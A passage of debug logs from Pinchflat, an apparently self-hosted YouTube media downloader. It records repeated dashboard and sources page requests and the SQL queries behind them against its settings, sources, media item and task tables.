s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:45:35.245 [info] Sent 200 in 16ms 06:45:36.309 [info] {"source":"oban","duration":2296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:36.395 [info] GET / 06:45:36.396 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 06:45:36.397 [debug] QUERY OK source="settings" db=0.4ms idle=1152.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:36.397 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1153.2ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 06:45:36.398 [debug] QUERY OK source="sources" db=0.3ms idle=1130.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 06:45:36.401 [debug] QUERY OK source="media_items" db=3.2ms idle=127.5ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:45:36.402 [debug] QUERY OK source="media_items" db=0.3ms idle=92.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:45:36.402 [debug] QUERY OK source="settings" db=0.1ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:36.402 [debug] QUERY OK source="settings" db=0.1ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:36.403 [debug] QUERY OK source="settings" db=0.0ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:36.403 [debug] QUERY OK source="tasks" db=0.2ms idle=1.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 06:45:36.404 [debug] QUERY OK source="media_items" db=0.7ms idle=1.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:45:36.405 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 06:45:36.405 [debug] QUERY OK source="sources" db=0.1ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 06:45:36.408 [debug] QUERY OK source="media_items" db=1.2ms idle=4.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 06:45:36.410 [debug] QUERY OK source="media_items" db=1.5ms idle=4.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 06:45:36.410 [debug] QUERY OK source="sources" db=0.1ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:45:36.412 [info] Sent 200 in 16ms 06:45:47.198 [info] GET / 06:45:47.198 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 06:45:47.199 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1561.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:47.200 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=1562.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 06:45:47.200 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1562.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 06:45:47.202 [debug] QUERY OK source="media_items" db=1.6ms queue=0.1ms idle=1563.4ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:45:47.203 [debug] QUERY OK source="media_items" db=0.4ms idle=908.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:45:47.203 [debug] QUERY OK source="settings" db=0.1ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:47.204 [debug] QUERY OK source="settings" db=0.1ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:47.204 [debug] QUERY OK source="settings" db=0.1ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:47.205 [debug] QUERY OK source="tasks" db=0.2ms idle=2.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 06:45:47.206 [debug] QUERY OK source="media_items" db=0.5ms idle=2.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:45:47.206 [debug] QUERY OK source="media_items" db=0.4ms idle=2.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 06:45:47.207 [debug] QUERY OK source="sources" db=0.1ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 06:45:47.210 [debug] QUERY OK source="media_items" db=1.3ms idle=4.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 06:45:47.212 [debug] QUERY OK source="media_items" db=1.6ms idle=5.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 06:45:47.212 [debug] QUERY OK source="sources" db=0.1ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:45:47.214 [info] Sent 200 in 16ms 06:45:53.886 [info] GET / 06:45:53.886 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 06:45:53.888 [debug] QUERY OK source="settings" db=0.4ms idle=1250.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:53.889 [debug] QUERY OK source="media_profiles" db=0.4ms idle=1251.0ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 06:45:53.889 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1251.8ms SELECT count(s0."id") FROM "sources" AS s0 [] 06:45:53.891 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=1252.4ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:45:53.891 [debug] QUERY OK source="media_items" db=0.3ms idle=577.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:45:53.891 [debug] QUERY OK source="settings" db=0.1ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:53.892 [debug] QUERY OK source="settings" db=0.1ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:53.892 [debug] QUERY OK source="settings" db=0.0ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:53.893 [debug] QUERY OK source="tasks" db=0.1ms idle=2.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 06:45:53.894 [debug] QUERY OK source="media_items" db=0.7ms idle=2.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:45:53.894 [debug] QUERY OK source="media_items" db=0.4ms idle=2.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 06:45:53.895 [debug] QUERY OK source="sources" db=0.1ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 06:45:53.898 [debug] QUERY OK source="media_items" db=1.4ms idle=4.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 06:45:53.899 [debug] QUERY OK source="media_items" db=1.4ms idle=4.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 06:45:53.900 [debug] QUERY OK source="sources" db=0.1ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:45:53.901 [info] Sent 200 in 14ms 06:45:54.406 [info] GET /sources 06:45:54.406 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 06:45:54.407 [debug] QUERY OK source="settings" db=0.1ms idle=511.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:54.407 [debug] QUERY OK source="settings" db=0.2ms idle=509.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:54.408 [debug] QUERY OK source="settings" db=0.1ms idle=508.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:54.409 [debug] QUERY OK source="settings" db=0.2ms idle=509.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:54.410 [debug] QUERY OK source="settings" db=0.1ms idle=93.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:54.413 [debug] QUERY OK source="sources" db=2.7ms idle=2.9ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN 